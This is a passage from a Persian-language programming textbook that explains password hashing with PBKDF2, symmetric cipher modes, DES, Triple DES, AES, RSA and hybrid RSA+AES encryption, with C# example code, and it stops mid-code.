 ی رمز عبور می شود.برا مشتق دیکل چند دیتول باعث که کند یم تکرار رمزعبور

 Brute حملات دیتوان یم یتمیالگور صورت به شما پسورد کی یرو یرمزگذار ای هش تمیالگور کی تکرار با

force اشتقاق یها دیکل تعداد دیتوان یم شما شود یم تر یقو ها پردازنده که چه هر .دیکن سخت تر و تر کند را 

 یبرا خوب فرض شیپ تکرار تعداد کی .دیبرو شیپ مور قانون با د همگامیتوان یم شما یعبارت به دیده شیافزا را

 رمزعبور یابیباز در را Rainbowیی توانا دیتوان یم شما Saltکردن  اضافه با نیهمچن .است تا 50000 حدودا شروع

 د.یده کاهش شتریب

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Text; 

using System.Security.Cryptography; 

using System.Diagnostics; 

 

namespace PBKDF2 

{ 

 class Program 

 { 

 static void Main(string[] args) 

 { 
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 string password = "Maher"; 

 CalculateTime(password,50000); 

 CalculateTime(password, 100000); 

 CalculateTime(password, 200000); 

 CalculateTime(password, 500000); 

 Console.ReadKey(); 

 } 

 public static byte[] GenerateSalt() 

 { 

 using (var rng = new RNGCryptoServiceProvider()) 

 { 

 byte[] randomNumber = new byte[32]; 

 rng.GetBytes(randomNumber); 

 return randomNumber; 

 } 

 } 

 public static byte[] HashPassword(byte[] input,byte[] salt,int iterations) 

 { 

 using (var PBKDF2 = new Rfc2898DeriveBytes(input,salt,iterations)) 

 { 

 return PBKDF2.GetBytes(32); 

 } 

 } 

 public static void CalculateTime(string password,int iterations) 

 { 

 Stopwatch s = new Stopwatch(); 

 s.Start(); 

 var hashedPassword = HashPassword(Encoding.UTF8.GetBytes(password),GenerateSalt(),iterations); 

 s.Stop(); 

 Console.WriteLine("\nPassword: "+password); 

 Console.WriteLine("HashPassword: "+Convert.ToBase64String(hashedPassword)); 

 Console.WriteLine("iterations {0}, ElapsedTime {1}ms", iterations, s.ElapsedMilliseconds); 

 } 
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 } 

} 

 

 رمزگذاری متقارن 5-6

، کندیملیدی برای رمزگذاری استفاده یک الگوریتم رمزگذاری متقارن، یک فرآیند دوطرفه است که از همان ک

. به طور مثال با همان کلیدی که در منزل را قفل میکنیم در را باز کندیماز همان برای رمزگشایی نیز استفاده 

 .میکنیم

 

 :شوندیمالگوریتم های کلید متقارن به دو دسته تقسیم 

➢ Stream ciphers م گذاری شده است.که هر بایت آن در یک لحظه نا یا رمزهای جاری 

➢ Block ciphers که در آن رمزگذاری روی بلوک های داده صورت میگیرد و اندازه  یا رمزهای بلوکی

 .می تواند متغیر باشد بلوک ها بر اساس الگوریتمی که استفاده شده

ما در این  ؛ کهبیتی استفاده می کند 128از بلوک  (AES)برای مثال الگوریتم استاندارد رمزگذاری پیشرفته  

در دات نت،  EASو  DES ،Triple DESالگوریتم های  .را بررسی می کنیم EASو  DES ،Triple DESفصل از 

که تعداد زیادی توابع مشترک  SeymmetricAlgoritmمشترک هستند به نام  Abstractهمگی دارای یک کلاس 

 های آنها را بررسی میکنیم. Proertyدارد و ما تعدادی از 

1-5-6 Mode های رمزگذاری 
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Mode  اولینProperty  است که در کلاسSeymmetricAlgoritm  به چشم می خورد. در الگوریتم های

AES ،DES  وTriple DES  بایت  8که از بلوک های رمزگذاری شده استفاده می کنند و عموما سایز هر بلوک

به همین دلیل برای هر بلوک متن اصلی است. برای همه بلوک های رمز شده از یک الگوریتم استفاده می شود و 

با همان کلید و الگوریتم همان متن رمز شده را برگشت می دهد که می تواند از این موضوع برای کرک کردن 

های رمزگذاری استفاده می شود که فرآیند  Modeمتن رمز شده استفاده شود. برای جلوگیری از این موضوع از 

 بلوک قبلی ارائه می دهد.رمزگذاری هر بلوک را بر اساس 

1-1-5-6 Cipher block chaning (CBC) 

اختراع شد. در این روش بلوک متن اصلی با بلوک های رمز  IBMتوسط  1976این مود رمزگذاری در سال 

می شود که هر بلوک متن رمز وابسته به بلوک قبلی است و از این تکرار در رمز های تولید شده  xorقبلی 

 )بردار اولیه مقدار دهی( رمز می شود. IVجلوگیری میکند و بلوک ابتدایی با استفاده از 

ک بیت آن می تواند انجام شود و اگر در طول این عملیات فقط ی Threadدر این مود فقط با استفاده از یک 

 آسیب ببیند متن به هیچ وجه قابل رمزگشایی نخواهد بود.

 

قبلی را نداریم با استفاده از  ٔ  شدهدر شکل بالا دیاگرام رمزنگاری که همانطور که میبینید چون بلوک رمز 

کرده و با استفاده از کلید رمزنگاری میشود در این حالت ما  xorبردار مقدار دهی اولیه، بلوک متن اصلی را با هم 

 .مه میدهیمبعد و همینطور تا آخر ادا ٔ  مرحلهبلوک رمز شده داریم از این بلوک استفاده کرده برای 
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در شکل بالا دیاگرام رمزگشای دیده می شود بلوک رمز شده را با استفاده از کلید رمز گشایی کرده و با استفاده 

 کرده تا متن اصلی بدست آید xorبردار مقدار دهی اولی دوباره از 

2-1-5-6 Ciphertext feedback (CFB) 

به جای اینکه هر بلوک  CBCدارد ولی با این تفاوت اصلی که بر خلاف  CBCاین مود شباهت زیادی به مود 

شود و سپس با بلوک  شود، بلوک رمز شده قبلی دوباره با کلید رمز می XORمتن اصلی با بلوک رمز شده قبلی 

 می شود. XORبعدی متن اصلی 

 

 xorدرشکل بالا همانطور که می بینید ابتدا بردار مقدار دهی اولیه با کلید رمز شده سپس با بلوک متن اصلی 

 xorشده و متن رمز شده بدست می آید و دوباره متن رمز شده با استفاده از کلید روز شده و دوباره با متن اصلی 

 و همینطور ادامه می دهیم. می شود
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با بلوک متن رمز  می شود و در شکل بالا همانطور که می بینید بردار مقدار دهی اولیه ابتدا با کلید رمز گشایی

آخر میرود تا متن به طور کامل رمز  ٔ  مرحله می شود تا بلوک متن اصلی بدست آید و همینوط تا xorشده 

 گشایی شود

3-1-5-6 The electronic codeback (ECB) 

ساده ترین مود رمزگذاری محسوب می شود که هر بلوک متن اصلی به صورت جدا رمز می شود و به طور 

های زیادی این  Threadبنابراین می توان با ؛ مشابه نیز هر بلوک رمز شده به صورت جدا رمزگشایی می شود

عملیات را انجام داد ولی امنیت را پایین می آورد و باعث می شود تا رمز های تولید تکراری تولید شود و کار برا 

 هکر ها راحت تر شود.
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و تصویر سمت راست  ECBرمزگذاری شده که تصویر سمت چپ با مود  DESاین تصویر با استفاده از الگوریتم 

 ی شده.رمزگذار CBCبا مود 

 

 

استفاده شده شکل کلی تصویر رمز شده معلوم می شود ولی  ECBهمینطور که می بینید تصویری که از مد 

 آسیب پذیر است. Replay attackدر برابر  ECBاینطور نیست. مود  CBCدر مد 
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در این میان  فرض کنید که علی بخواهد هویت خود را به رضا ثابت کند رضا یک رمز عبور برایش ارسال کند

فرد دیگر مشغول شنود هست و رمز عبور را می دزد پس از اینکه اطلاعات مبادله شد هکر خود را به جای علی 

 .کند معرفی می

4-1-5-6 The output feedback (OFB) 

بلوک متن اصلی با بلوک رمز  XOR ٔ  یجهنتاست با این تفاوت به جای اینکه  CFBاین مود تا حدی شبیه به 

بعدی فرستاده  ٔ  مرحلهشده قبلی برای مرحله بعدی مورد استفاده قرار بگیرد، بلوک رمز شده قبلی مستقیم به 

می شود. در این مود اگر یک بیت ببیند کل بیت ها خراب نمی شوند و با الگوریتم های تصحیح می توان آن را 

 ویرایش کرد.

 

بعدی می  ٔ  مرحلهانجام شود قسمت رمز شده را به  xor قبل اینکه عمل CBCبرخلاف  همانطور که می بینید

 فرستیم
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Padding 

زمانی که بلاک رمز شده یک پیام، کوچک تر از تعداد بایتهای مورد نیاز برای عملیات رمز گذاری باشد داده 

 اضافه می شود. Paddingای برای پر کردن این بایت های خالی با عنوان 

 

Padding  در الگوریتم هایAES ،DES  وTriple DES  پیش فرضPKCS7  می باشد مگر اینکه آن ار تغییر

 دهید ولی توصیه می شود از همان پیش فرض استفاده شود.

Key 

بایتی است که برای اجرای عملیات رمزگذاری و  ٔ  یهآراموجود در این کلاس است که آیا یک  Propertyدیگر 

 مزگذاری قبلی را در خود ذخیره می کند.رمزگشایی، کلید ر

گیرد می تواند هر گونه لیترالی باشد اما باید مطمئن شوید که یک کلید امن  داده ای که در این آرایه قرار می

می توانید یک آرایه بایتی  RNG Crypto Service Providerایجاد می کنید. برای این منظور با استفاده از کلاس 

 واه ایجاد کنید.با طول کلید دلخ

Initialization Vector (IV) 

 بردار مقدار دهی اولیه مورد استفاده قرار میگیرد. ٔ  یرهذخبایتی است که به منظور  ٔ  یهآرایک  IVخاصیت 
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و یک عدد دلخواه است که می تواند با کلید مخفی برای رمزگذاری استفاده شود و فقط یک بار در هر مرحله 

 قرار میگیرد. رمزنگاری مورد استفاده

این بردار از تکرار در بلوک های رمزگذاری شده جلوگیری می کند و همچنین کار را برای هکرهایی که از 

بستگی به روش  IVدیکشنری برای پی بردن به الگو برای شکستن رمز استفاده میکنند سخت تر می کند. طول 

 ا بررسی میکنیم.رمزنگاری متقارن ردر ادامه انواع روشهای  رمزگذاری دارد.

 انواع روشهای رمز نگاری متقارن 2-5-6

1-2-5-6 Data Encryption Standard (DES) 

 Horstدر ابتدا توسط  ؛ که، استاندارد پیش فرض رمزگذاری متقارن است(DES)استاندارد رمزگذاری داده ها 

Feistel  یلهوسطراحی شد و به  ٔ IBM  د به اداره استاندارد این استاندار میلادی توسعه داده شد. 70در اوایل دهه

اداره استاندارد ملی آمریکا پس  ملی آمریکا به عنوان یک استاندارد جدید برای حفاظت داده های دولت ارائه شد.

به عنوان یک استاندارد  1977را درسال  DES ٔ  شدهاصلاح  ٔ  نسخهاز مشورت با آزانس امنیت ملی آمریکا یک 

 بیت آن مورد استفاده قرار میگیرد. 56است، اگر چه فقط بیتی  64معرفی کرد. کلید این الگوریتم 

 DESاگر شما می خواهید یک سیستم جدید ارائه دهید که نیاز به رمزگذاری دارد توصیه نمی شود که از 

بیتی که دارد با استانداردها و سیستم های امروزی الگوریتم ضعیفی  56زیرا با توجه به کلید ؛ استفاده کنید

دلیل پرداختن به این استاندارد این است که در صورتی که شما مجبور بودید از یک سیستم  ؛ ومحسوب می شود

 خیلی خیلی قدیمی استفاده کنید که از این استاندارد پشتیبانی میکرد به مشکل برنخورید.

 دیده می شود: DES در کد زیر نحوه رمزنگاری با استفاده از الگوریتم

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Text; 
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using System.Security.Cryptography; 

using System.IO; 

 

namespace DesEncryption 

{ 

 class Program 

 { 

 static void Main(string[] args) 

 { 

 var key = GenerateRandomNumber(8); 

 var iv = GenerateRandomNumber(8); 

 var Text = "Maher"; 

 var encrypted = Encryption(Encoding.UTF8.GetBytes(Text), key, iv); 

 var decrypted = Decryption(encrypted, key, iv); 

 Console.WriteLine("encrypted: "+Convert.ToBase64String(encrypted)); 

 Console.WriteLine("\ndecrypted: "+Encoding.UTF8.GetString(decrypted)); 

 Console.ReadKey(); 

 } 

 public static byte[] GenerateRandomNumber(int Length) 

 { 

 using (var rng = new RNGCryptoServiceProvider()) 

 { 

 byte[] randomNumber = new byte[Length]; 

 rng.GetBytes(randomNumber); 

 return randomNumber; 

 } 

 } 

 public static byte[] Encryption(byte[] input,byte[] key,byte[] IV) 

 { 

 using (var des = new DESCryptoServiceProvider()) 

 { 

 des.Mode = CipherMode.CBC; 

 des.Key = key; 

 des.Padding = PaddingMode.PKCS7; 
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 des.IV = IV; 

 using (var ms = new MemoryStream()) 

 { 

 var cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write); 

 cs.Write(input, 0, input.Length); 

 cs.FlushFinalBlock(); 

 return ms.ToArray(); 

 } 

 } 

 } 

 public static byte[] Decryption(byte[] input, byte[] key, byte[] IV) 

 { 

 using (var des = new DESCryptoServiceProvider()) 

 { 

 des.Mode = CipherMode.CBC; 

 des.Key = key; 

 des.Padding = PaddingMode.PKCS7; 

 des.IV = IV; 

 using (var ms = new MemoryStream()) 

 { 

 var cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write); 

 cs.Write(input, 0, input.Length); 

 cs.FlushFinalBlock(); 

 return ms.ToArray(); 

 } 

 } 

 } 

 } 

} 

 



 

246 

2-2-5-6 Triple DES 

است که سه بار به متن اصلی اعمال می شود. با افزایش قدرت سخت  DESاین الگوریتم نوع دیگریاز استاندارد 

جلوگیری از  Triple DESبسیار ضعیف است و هدف از  brute forceدر برابر حملات  DESافزارها الگوریتم 

بیتی  DES ،64بود. طول بلوک این الگوریتم مانند  DESاینگونه حملات بدون نیاز به توسعه بلوک رمز الگوریتم 

ه می بیت باشد. از این الگوریتم در پرداختهای الکترونیکی استفاد 168یا  112، 56است و طول کلید آن میتواند 

 Microsoft 2012OneNote, Microsoft System Centerشود و تعدادی از محصولات شرکت مایکروسافت مانند 

Configuration Manager  2007وMicrosoft Outlook  از این الگوریتم برای محافظت از داده ها و تنظیمات

 کاربران استفاده می شد.

استفاده نکنید ولی اگر  Triple DESیستم جدید هستید از یک س ٔ  توسعهدر صورتی که در حال  DESمانند 

استفاده  Triple DESپشتیبانی می کرد از  DESبا یک سیستم خیلی قدیمی سر و کار داشتید که فقط الگوریتم 

 کنید.

 این الگوریتم به صورت مقابل است: encryption دیاگرام

 

 رمزگذاری می شود. اولو با کلید  DESدر ابتدا متن اصلی با یک نمونه از  •

 رمزکذاری می شود. دومو با کلید  DESدر ادامه، نتیجه با یک نمونه دیگر از  •
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 سومفرستاده میشود و با کلید  DESدر نهایت، نتیجه رمزگذاری دوم به عنوان ورودی به نمونه سوم  •

 رمزگذاری می شود و در پایان به عنوان متن رمز شده مورد استفاده قرار می گیرد.

 دیده می شود: TripleDES در کد زیر نحوه رمزنگاری با استفاده از الگوریتم

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Text; 

using System.Security.Cryptography; 

using System.IO; 

 

namespace TripleDES 

{ 

 class Program 

 { 

 static void Main(string[] args) 

 { 

 var key = GenerateRandomNumber(24); 

 var iv = GenerateRandomNumber(8); 

 var Text = "test Text"; 

 var encrypted = Encrypt(Encoding.UTF8.GetBytes(Text), key, iv); 

 var decrypted = Decrypt(encrypted, key, iv); 

 Console.WriteLine("Text: "+Text); 

 Console.WriteLine("Encrypted Text: "+Convert.ToBase64String(encrypted)); 

 Console.WriteLine("Decrypted Text: "+Encoding.UTF8.GetString(decrypted)); 

 Console.ReadKey(); 

 } 

 public static byte[] GenerateRandomNumber(int Length) 

 { 

 using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider()) 

 { 

 byte[] randomNumber = new byte[Length]; 

 rng.GetBytes(randomNumber); 
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 return randomNumber; 

 } 

 } 

 public static byte[] Encrypt(byte[] dataToEncrypt,byte[] key,byte[] iv) 

 { 

 using (var des = new TripleDESCryptoServiceProvider()) 

 { 

 des.Mode = CipherMode.CBC; 

 des.Padding = PaddingMode.PKCS7; 

 des.Key = key; 

 des.IV = iv; 

 using (var ms = new MemoryStream()) 

 { 

 var cs = new CryptoStream(ms,des.CreateEncryptor(),CryptoStreamMode.Write); 

 cs.Write(dataToEncrypt, 0, dataToEncrypt.Length); 

 cs.FlushFinalBlock(); 

 return ms.ToArray(); 

 } 

 } 

 } 

 public static byte[] Decrypt(byte[] dataToDecrypt, byte[] key, byte[] iv) 

 { 

 using (var des = new TripleDESCryptoServiceProvider()) 

 { 

 des.Mode = CipherMode.CBC; 

 des.Padding = PaddingMode.PKCS7; 

 des.Key = key; 

 des.IV = iv; 

 using (var ms = new MemoryStream()) 

 { 

 var cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write); 

 cs.Write(dataToDecrypt, 0, dataToDecrypt.Length); 

 cs.FlushFinalBlock(); 

 return ms.ToArray(); 
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 } 

 } 

 } 

 } 

} 

 

3-2-5-6 Advanced Encryption Standard (AES) 

استاندارد رمزگذاری پیشرفته، آخرین استانداردی است که به تصویب انستیتو ملی استاندارد و تکنولوژی آمریکا 

این استاندارد در رقابتی برای پیدا کردن جایگزین الگوریتم  ام ها رسید.برای رمزگذاری نامتقارن پی 2001در سال 

DES .انتخاب شد AES  توسط دو ریاضیدان بلژیکی به نام هایJoan deamen  وVincent Rijmen  توسعه داده

نی بیتی پشتیبا 256و  192، 128بیتی استفاده می کند و از کلیدهای با طول های  128از بلوک های  AES شد.

درصورتی که شما میخواهید یک سیستم جدید را توسعه دهید و به رمزگذاری داده ها نیاز دارید، پیشنهاد  می کند.

 .استفاده کنید AESمی شود از 

و  AesManagedوجود دارد،  AESدر دات نت دو روش برای پیاده سازی الگوریتم 

AesCryptoServiceProvider.  کنیم؟ هر دو در پیاده سازی الگوریتم، یک کارکرد را حال از کدام روش استفاده

از کتابخانه های اساسی ویندوز یعنی  AesCryptoServiceProviderاما تفاوت اصلی این است که ؛ ارائه میدهند

MS CryptoAPI  استفاده میکند و مطابق با استانداردFIPS (Federal Information Processing standards) 

 صرفا یک پیاده سازی این الگوریتم است. AesManagedاست ولی 

با استفاده از یک پیاده سازی  AESبنابراین اگر شما می خواهید مطمئن شوید که رمزگذاری داده های شما با 

 استفاده کنید. AesCryptoServiceProviderاستاندارد صورت می گیرد از 

 دیده می شود: AES در کد زیر نحوه رمزنگاری با استفاده از الگوریتم

using System; 
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using System.Collections.Generic; 

using System.Linq; 

using System.Text; 

using System.Security.Cryptography; 

using System.IO; 

namespace AesEncryption 

{ 

 class Program 

 { 

 static void Main(string[] args) 

 { 

 var aes = new AES(); 

 var key = aes.GenerateRandomNumber(32); 

 var iv = aes.GenerateRandomNumber(16); 

 var Text = "Text"; 

 var encrypted = aes.Encrypt(Encoding.UTF8.GetBytes(Text), key, iv); 

 var decrypted = aes.Decrypt(encrypted,key,iv); 

 var DecryptedMessage = Encoding.UTF8.GetString(decrypted); 

 Console.WriteLine("Text: "+Text); 

 Console.WriteLine("Encrypted Text: "+Convert.ToBase64String(encrypted)); 

 Console.WriteLine("Decrypted Text: "+ DecryptedMessage); 

 Console.ReadKey(); 

 } 

 

 } 

 class AES 

 { 

 public byte[] GenerateRandomNumber(int Length) 

 { 

 using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider()) 

 { 

 byte[] randomNumber = new byte[Length]; 

 rng.GetBytes(randomNumber); 

 return randomNumber; 
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 } 

 } 

 public byte[] Encrypt(byte[] dataToEncrypt, byte[] key, byte[] iv) 

 { 

 using (var aes = new AesManaged()) 

 { 

 aes.Mode = CipherMode.CBC; 

 aes.Padding = PaddingMode.PKCS7; 

 aes.Key = key; 

 aes.IV = iv; 

 using (var ms = new MemoryStream()) 

 { 

 var cs = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write); 

 cs.Write(dataToEncrypt, 0, dataToEncrypt.Length); 

 cs.FlushFinalBlock(); 

 return ms.ToArray(); 

 } 

 } 

 } 

 public byte[] Decrypt(byte[] dataToDecrypt, byte[] key, byte[] iv) 

 { 

 using (var aes = new AesCryptoServiceProvider())//new AesManaged() 

 { 

 aes.Mode = CipherMode.CBC; 

 aes.Padding = PaddingMode.PKCS7; 

 aes.Key = key; 

 aes.IV = iv; 

 using (var ms = new MemoryStream()) 

 { 

 var cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write); 

 cs.Write(dataToDecrypt, 0, dataToDecrypt.Length); 

 cs.FlushFinalBlock(); 

 return ms.ToArray(); 

 } 
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 } 

 } 

 } 

} 

 رمزگذاری نامتقارن  6-6

مشکل اصلی رمزگذاری متقارن به اشتراک گذاری کلید است. دریافت کننده به منظور رمزگشایی کردن به 

 ل این کلید کار بسیار سختی است.همان کلیدی احتیاج دارد که در رمزگذاری استفاده شده و امن بودن تباد

یک راه حل مناسب برای این مشکل استفاده از رمزگذاری نامتقارن است که به آن رمزنگاری با کلید عمومی 

در این روش از دو کلید استفاده می شود، یکی کلید عمومی که در اختیار همه است و یک کلید  نیز می گویند.

 کننده پیام است و این کلید ها با روابط ریاضی با یک دیگر ارتباط دارند.خصوصی که فقط در اختیار دریافت 

بطور مثال در حساب های بانکی همه میتوانند برا شما پول واریز کنند ولی فقط شما می توانید پول را برداشت 

 .کنید

نده با استفاده از کلید ارسال کننده پیام با استفاده از کلید عمومی متن پیام را رمزنگاری می کند و دریافت کن

 خصوصی متن رمز شده را رمزگشایی می کند.

به این دلیل استفاده می شود زیرا این روش از دو کلید مختلف مرتبط با هم استفاده می  "نامتقارن" ٔ  کلمه

کند که عملیات رمزگذاری و رمزگشایی به صورت معکوس از هر طرف قابل دستیابی است در حالیکه رمزنگاری 

 رن از یک کلید برای هر دو عملیات رمزگذاری و رمزگشایی استفاده می کند.متقا

قدرت رمزنگاری نامتقارن در این است که به دست آوردن کلید خصوصی از کلید عمومی غیر ممکن است و 

 .فقط لازم است کلید خصوصی مخفی بماند
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تبدیل می شود و با استفاده  Ciphertextهمانطور که در شکل می بینید متن اصلی با کلید عمومی رمز شده به 

 از کلید خصوصی دوباره به متن اصلی تبدیل می شود

 RSAالگوریتم  1-6-6

 RSAشرکت امنیتی )LLC Security RSAیک تکنولوژی رمزگذاری به روش کلید عمومی است که توسط 

 ه شد.سابق( توسعه داد

RSA  مخفف ابتدای اسامیRivest ،Shamir  وAdelman .مخترعان این تکنیک است ،RSA  یک استاندارد

بالفعل برای رمزنگاری صنعتی به ویژه برای انتقال داده ها از بستر اینترنت می باشد و در بسیاری از نرم افزار ها 

داده هایی با طول کوچکتر از کلید را رمز کنید که  شما فقط می توانید RSAاز آن استفاده می شود. با الگوریتم 

 یک نقطه ضعف و محدودیت برای این الگوریتم محسوب می شود.

 در دات نت را بررسی می کنیم RSAما دو روش برای پیاده سازی 

 استفاده از حافظه برای ایجاد کلید ها- 1

 ذخیره شده اند XMLاستفاده از کلید هایی که در یک فایل - 2

Optimal Asymmetric Encryption Padding (OAEP) : یک پارامترBoolean  است کهOAEP  را که یک

 است مشخص می کند. chosen ciphertext attackطرح برای مقابله با حمالت متن رمز منتخب 
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 دیده می شود: RSA در کد زیر نحوه رمزنگاری با استفاده از الگوریتم

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Text; 

using System.Security.Cryptography; 

using System.IO; 

 

namespace RSA 

{ 

 class Program 

 { 

 static void Main(string[] args) 

 { 

 string Message = "Maher"; 

 var rsaParams = new RSAWithParameters(); 

 var rsa = new RSACryptoServiceProvider(2048); 

 var PublicKey = rsa.ExportParameters(false); 

 var Privatekey = rsa.ExportParameters(true); 

 var encrypted = rsaParams.Encryption(Encoding.UTF8.GetBytes(Message),PublicKey); 

 var decrypted = rsaParams.Decryption(encrypted, Privatekey); 

 Console.WriteLine(Convert.ToBase64String(encrypted)); 

 Console.WriteLine(Encoding.UTF8.GetString(decrypted)); 

 

 

 var rsaXML = new RSAWithXML(); 

 rsaXML.AssignNewKey(@"d:\publicKey.xml",@"d:\privateKey.xml"); 

 encrypted = rsaXML.Encryption(@"d:\publicKey.xml", Encoding.UTF8.GetBytes(Message)); 

 decrypted = rsaXML.Decryption(@"d:\privateKey.xml", encrypted); 

 Console.WriteLine("\n"+Convert.ToBase64String(encrypted)); 

 Console.WriteLine("\n"+Encoding.UTF8.GetString(decrypted)); 
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 var rsaCsp = new RSAWithCspKey(); 

 rsaCsp.AssignNewKey(); 

 encrypted = rsaCsp.Encryption(Encoding.UTF8.GetBytes(Message)); 

 decrypted = rsaCsp.Decryption(encrypted); 

 rsaCsp.DeleteKeyInCsp(); 

 Console.WriteLine("\n" + Convert.ToBase64String(encrypted)); 

 Console.WriteLine("\n" + Encoding.UTF8.GetString(decrypted)); 

 Console.ReadKey(); 

 } 

 } 

 class RSAWithParameters 

 { 

 public byte[] Encryption(byte[] input,RSAParameters rsaKey) 

 { 

 byte[] cipherBytes; 

 using (var rsa = new RSACryptoServiceProvider(2048)) 

 { 

 rsa.ImportParameters(rsaKey); 

 cipherBytes = rsa.Encrypt(input,true); 

 } 

 return cipherBytes; 

 } 

 public byte[] Decryption(byte[] input, RSAParameters rsaKey) 

 { 

 byte[] PlainBytes; 

 using (var rsa = new RSACryptoServiceProvider(2048)) 

 { 

 rsa.ImportParameters(rsaKey); 

 PlainBytes = rsa.Decrypt(input, true); 

 } 

 return PlainBytes; 

 } 

 } 

 class RSAWithXML 
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 { 

 public void AssignNewKey(string publicKey,string privateKey) 

 { 

 var rsa = new RSACryptoServiceProvider(2048); 

 File.WriteAllText(publicKey, rsa.ToXmlString(false)); 

 File.WriteAllText(privateKey, rsa.ToXmlString(true)); 

 } 

 public byte[] Encryption(string publicKeyPath,byte[] input) 

 { 

 byte[] cipherBytes; 

 using (var rsa = new RSACryptoServiceProvider(2048)) 

 { 

 rsa.FromXmlString(File.ReadAllText(publicKeyPath)); 

 cipherBytes = rsa.Encrypt(input, false); 

 } 

 return cipherBytes; 

 } 

 public byte[] Decryption(string privateKeyPath, byte[] input) 

 { 

 byte[] plain; 

 using (var rsa = new RSACryptoServiceProvider(2048)) 

 { 

 rsa.FromXmlString(File.ReadAllText(privateKeyPath)); 

 plain = rsa.Decrypt(input, false); 

 } 

 return plain; 

 } 

 } 

 class RSAWithCspKey 

 { 

 const string CONTAINER_NAME = "Maher"; 

 public void AssignNewKey() 

 { 

 const int PROVIDER_RSA_FULL = 1; 
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 CspParameters cspParams = new CspParameters(PROVIDER_RSA_FULL); 

 cspParams.KeyContainerName = CONTAINER_NAME; 

 cspParams.Flags = CspProviderFlags.UseMachineKeyStore; 

 var rsa = new RSACryptoServiceProvider(cspParams); 

 rsa.PersistKeyInCsp = true; 

 } 

 public void DeleteKeyInCsp() 

 { 

 var csp = new CspParameters(); 

 csp.KeyContainerName = CONTAINER_NAME; 

 var rsa = new RSACryptoServiceProvider(csp); 

 rsa.PersistKeyInCsp = false; 

 rsa.Clear(); 

 } 

 public byte[] Encryption(byte[] input) 

 { 

 byte[] cipherBytes; 

 var csp = new CspParameters(); 

 csp.KeyContainerName = CONTAINER_NAME; 

 using (var rsa = new RSACryptoServiceProvider(2048, csp)) 

 { 

 cipherBytes = rsa.Encrypt(input, false); 

 } 

 return cipherBytes; 

 } 

 public byte[] Decryption(byte[] input) 

 { 

 byte[] plainBytes; 

 var csp = new CspParameters(); 

 csp.KeyContainerName = CONTAINER_NAME; 

 using (var rsa = new RSACryptoServiceProvider(2048, csp)) 

 { 

 plainBytes = rsa.Decrypt(input, false); 

 } 
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 return plainBytes; 

 } 

 } 

} 

 (AES+RSAرمزنگاری ترکیبی )  7-6

نمی توان داده های با طول بیشتر از طول کلید نامتقارن را  RSAدر قسمت قبل گفتیم که با الگوریتم 

 چگونه بلوک های بزرگ داده را رمزگذاری کنیم؟ پس رمزگذاری کرد.

استفاده می کنید، اما مشکل رو به روی  AESدر شرایط ایده آل شما از یک الگوریتم رمزنگاری متقارن نظیر 

هر دریافت کننده پیام برای رمزگشایی باید همان کلیدی را داشته باشد که  AESدل امن کلید است. در شما تبا

سوال اینجاست که چگونه می توان همان کلید را به طور امن به هر  حال برای رمزگذاری استفاده شده است.

 شخصی ارسال کرد؟ در حالت عادی تبادل امن این کلید کار مشکلی است.

 می باشد. AESو  RSAین شما باید از یک سیستم رمزنگاری ترکیبی استفاده کنید مانند ترکیبی از بنابرا

 دریافت کننده پیام )رضا(- 2ارسال کننده پیام )علی( - 1بیایید فرض کنیم که ما دو نفر را داریم 

 رمزگذاری در روش ترکیبی

 این فرآیند ما به آن کلید جلسه می گوییم. در را ایجاد می کند. AESبایتی(  32بیتی ) 256علی یک کلید  •

 بایتی( تولید می کند. 16بیتی ) 128(iv) ٔ  یهاولعلی یک بردار مقداردهی  •

 رمز می کند. AESداده ها را به روش  IVعلی با استفاده از کلید جلسه و  •

 کلید جلسه را رمز می کند و کلید عمومی رضا است. RSAعلی با  •

 ذخیره می کند. Packetرمز شده، کلید جلسه و بردارمقدار دهی اولیه را به عنوان یک علی داده های  •
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 رمزگشایی در روش ترکیبی

رمزگشایی می کند که کلید خصوصی رضا  RSAرا با استفاده از  AES ٔ  شدهرضا کلید جلسه رمزگذاری  •

 است

 رمزگشایی می کند. IVو  AESرضا داده های رمزگذاری شده را با استفاده از کلید جلسه  •

 رضا متن رمز گشایی را می خواند. •

 دیده می شود: (RSA-AES) در کد زیر نحوه رمزنگاری با استفاده از الگوریتم

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Text; 

using System.Security.Cryptography; 

using System.IO; 

 

namespace Hybrid_RSA_AES_ 

{ 

 class Program 

 { 

 static void Main(string[] args) 

 { 

 var text = "test"; 

 var rsa = new RSACryptoServiceProvider(); 

 RSAParameters publicKey = rsa.ExportParameters(false); 

 RSAParameters privateKey = rsa.ExportParameters(true); 

 var rsaParams = new RSAWithParameters(); 

 var EncrpytedBlock = Encryption(text, rsaParams, publicKey); 

 var DecryptedBlock = Decryption(EncrpytedBlock, rsaParams, privateKey); 

 Console.WriteLine("Text: " + text); 

 Console.WriteLine("DecryptedMessage: "+DecryptedBlock); 



 

260 

 Console.ReadKey(); 

 } 

//public static bool CompareUnSecure(byte[] array1,byte[] array2) 

//{ 

// if (array1.Length != array2.Length) 

// return false; 

// for(int i=0;i<array2.Length;i++) 

// { 

// if (array1[i] != array2[i]) return false; 

// } 

// return true; 

//} 

 public static bool compare(byte[] array1,byte[] array2) 

 { 

 var result = array1.Length == array2.Length; 

 for (int i = 0; i < array1.Length && i < array2.Length; i++) 

 result &= array1[i] == array2[i]; 

 return result; 

 } 

 public static string Decryption(EncryptedPacket encryptedPacket,RSAWithParameters 

rsaParams,RSAParameters privateKey) 

 { 

 var aes = new AES(); 

 var decryptedSessionKey = rsaParams.Decryption(encryptedPacket.EncryptedSessionkey, privateKey); 

 using (var hmac = new HMACSHA256(decryptedSessionKey)) 

 { 

 var hmacToCheck = hmac.ComputeHash(encryptedPacket.EncryptedData); 

 if (!compare(hmacToCheck, encryptedPacket.HMAC)) 

 throw new CryptographicException("Error"); 

 } 

 var decryptedData = aes.Decrypt(encryptedPacket.EncryptedData, decryptedSessionKey, 

